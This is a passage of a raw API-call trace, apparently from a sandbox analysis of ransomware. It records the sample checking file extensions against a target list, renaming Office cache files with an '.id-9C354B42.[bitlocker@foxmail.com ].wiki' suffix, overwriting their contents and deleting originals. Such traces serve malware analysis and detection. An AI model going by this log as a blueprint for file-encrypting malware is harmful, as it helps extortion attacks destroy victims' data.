(lpString1=".bz2", lpString2=".exe") returned -1 [0054.638] lstrlenW (lpString=".7z") returned 3 [0054.638] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0054.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.638] lstrlenW (lpString=".dbf") returned 4 [0054.638] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0054.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.638] lstrlenW (lpString=".1cd") returned 4 [0054.638] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0054.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.638] lstrlenW (lpString=".jpg") returned 4 [0054.638] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0054.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.638] lstrlenW (lpString=".doc") returned 4 [0054.638] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0054.638] lstrlenW (lpString=".docx") returned 5 [0054.638] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0054.638] lstrlenW (lpString=".pdf") returned 4 [0054.638] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0054.638] lstrlenW (lpString=".xls") returned 4 [0054.638] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0054.638] lstrlenW (lpString=".xlsx") returned 5 [0054.638] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0054.638] lstrlenW (lpString=".ppt") returned 4 [0054.638] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0054.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.638] lstrlenW (lpString=".zip") returned 4 [0054.639] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0054.639] lstrlenW (lpString=".rar") returned 4 [0054.639] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0054.639] lstrlenW (lpString=".bz2") returned 4 [0054.639] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0054.639] lstrlenW (lpString=".7z") returned 3 [0054.639] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0054.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.639] lstrlenW (lpString=".dbf") returned 4 [0054.639] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0054.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.639] lstrlenW (lpString=".1cd") returned 4 [0054.639] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0054.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.639] lstrlenW (lpString=".jpg") returned 4 [0054.639] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0054.639] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0054.639] lstrlenW (lpString="OfficeLR.cab") returned 12 [0054.639] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0054.639] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=14127746) returned 1 [0054.639] CloseHandle (hObject=0x17c) returned 1 [0054.640] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab")) returned 0x2020 [0054.640] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.640] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0054.640] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0054.640] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0x0) returned 1 [0054.640] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.640] ReadFile (in: hFile=0x17c, lpBuffer=0x3760058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x3760058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.645] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.645] ReadFile (in: hFile=0x17c, lpBuffer=0x37a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x37a0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.647] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0054.647] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.647] ReadFile (in: hFile=0x17c, lpBuffer=0x37e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x37e0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.661] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.662] WriteFile (in: hFile=0x17c, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2c4fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0054.783] SetEndOfFile (hFile=0x17c) returned 1 [0054.783] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40654f0 [0054.787] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.787] WriteFile (in: hFile=0x17c, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.788] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.788] WriteFile (in: hFile=0x17c, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.788] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.788] WriteFile (in: hFile=0x17c, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.790] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40654f0 | out: hHeap=0x6c0000) returned 1 [0054.790] CloseHandle (hObject=0x17c) returned 1 [0054.790] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0054.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0054.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0054.791] lstrlenW (lpString=".doc") returned 4 [0054.791] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0054.791] lstrlenW (lpString=".docx") returned 5 [0054.791] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0054.791] lstrlenW (lpString=".pdf") returned 4 [0054.791] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0054.791] lstrlenW (lpString=".xls") returned 4 [0054.791] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0054.791] lstrlenW (lpString=".xlsx") returned 5 [0054.791] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0054.791] lstrlenW (lpString=".ppt") returned 4 [0054.791] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0054.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0054.791] lstrlenW (lpString=".zip") returned 4 [0054.791] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0054.791] lstrlenW (lpString=".rar") returned 4 [0054.791] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0054.791] lstrlenW (lpString=".bz2") returned 4 [0054.791] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0054.791] lstrlenW (lpString=".7z") returned 3 [0054.791] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0054.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0054.791] lstrlenW (lpString=".dbf") returned 4 [0054.791] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0054.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0054.791] lstrlenW (lpString=".1cd") returned 4 [0054.791] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0054.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0054.791] lstrlenW (lpString=".jpg") returned 4 [0054.791] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0054.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0054.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0054.792] lstrlenW (lpString=".doc") returned 4 [0054.792] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0054.792] lstrlenW (lpString=".docx") returned 5 [0054.792] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0054.792] lstrlenW (lpString=".pdf") returned 4 [0054.792] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0054.792] lstrlenW (lpString=".xls") returned 4 [0054.792] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0054.792] lstrlenW (lpString=".xlsx") returned 5 [0054.792] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0054.792] lstrlenW (lpString=".ppt") returned 4 [0054.792] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0054.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0054.792] lstrlenW (lpString=".zip") returned 4 [0054.792] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0054.792] lstrlenW (lpString=".rar") returned 4 [0054.792] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0054.792] lstrlenW (lpString=".bz2") returned 4 [0054.792] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0054.792] lstrlenW (lpString=".7z") returned 3 [0054.792] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0054.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0054.792] lstrlenW (lpString=".dbf") returned 4 [0054.792] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0054.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0054.792] lstrlenW (lpString=".1cd") returned 4 [0054.792] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0054.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0054.792] lstrlenW (lpString=".jpg") returned 4 [0054.792] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0054.792] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0054.792] lstrlenW (lpString="osetupui.dll") returned 12 [0054.793] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0054.793] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=191872) returned 1 [0054.793] CloseHandle (hObject=0x17c) returned 1 [0054.793] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 0x2020 [0054.793] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.793] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0054.793] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.793] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.793] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0054.793] GetLastError () returned 0x0 [0054.793] ReadFile (in: hFile=0x17c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x2ed80, lpOverlapped=0x0) returned 1 [0054.917] WriteFile (in: hFile=0x1f8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2ed90, lpOverlapped=0x0) returned 1 [0054.921] ReadFile (in: hFile=0x17c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.921] WriteFile (in: hFile=0x1f8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.921] SetEndOfFile (hFile=0x1f8) returned 1 [0054.921] CloseHandle (hObject=0x1f8) returned 1 [0054.922] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.922] SetEndOfFile (hFile=0x17c) returned 1 [0054.924] CloseHandle (hObject=0x17c) returned 1 [0054.924] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0054.924] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 1 [0054.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0054.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0054.925] lstrlenW (lpString=".doc") returned 4 [0054.925] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.925] lstrlenW (lpString=".docx") returned 5 [0054.925] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0054.925] lstrlenW (lpString=".pdf") returned 4 [0054.925] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.925] lstrlenW (lpString=".xls") returned 4 [0054.925] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.925] lstrlenW (lpString=".xlsx") returned 5 [0054.925] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0054.925] lstrlenW (lpString=".ppt") returned 4 [0054.925] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0054.925] lstrlenW (lpString=".zip") returned 4 [0054.925] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.925] lstrlenW (lpString=".rar") returned 4 [0054.925] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.925] lstrlenW (lpString=".bz2") returned 4 [0054.925] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.925] lstrlenW (lpString=".7z") returned 3 [0054.925] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0054.925] lstrlenW (lpString=".dbf") returned 4 [0054.925] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0054.925] lstrlenW (lpString=".1cd") returned 4 [0054.925] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0054.926] lstrlenW (lpString=".jpg") returned 4 [0054.926] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0054.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0054.926] lstrlenW (lpString=".doc") returned 4 [0054.926] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.926] lstrlenW (lpString=".docx") returned 5 [0054.926] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0054.926] lstrlenW (lpString=".pdf") returned 4 [0054.926] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.926] lstrlenW (lpString=".xls") returned 4 [0054.926] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.926] lstrlenW (lpString=".xlsx") returned 5 [0054.926] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0054.926] lstrlenW (lpString=".ppt") returned 4 [0054.926] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0054.926] lstrlenW (lpString=".zip") returned 4 [0054.926] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.926] lstrlenW (lpString=".rar") returned 4 [0054.926] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.926] lstrlenW (lpString=".bz2") returned 4 [0054.926] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.926] lstrlenW (lpString=".7z") returned 3 [0054.926] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0054.926] lstrlenW (lpString=".dbf") returned 4 [0054.927] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0054.927] lstrlenW (lpString=".1cd") returned 4 [0054.927] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0054.927] lstrlenW (lpString=".jpg") returned 4 [0054.927] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.927] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0054.927] lstrlenW (lpString="AccessMUI.msi") returned 13 [0054.927] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0055.022] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2517504) returned 1 [0055.022] CloseHandle (hObject=0x1e8) returned 1 [0055.022] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi")) returned 0x2020 [0055.022] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.022] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0055.023] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0055.023] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0x0) returned 1 [0055.023] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.023] ReadFile (in: hFile=0x1e8, lpBuffer=0x3760058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x3760058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.048] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.049] ReadFile (in: hFile=0x1e8, lpBuffer=0x37a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x37a0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 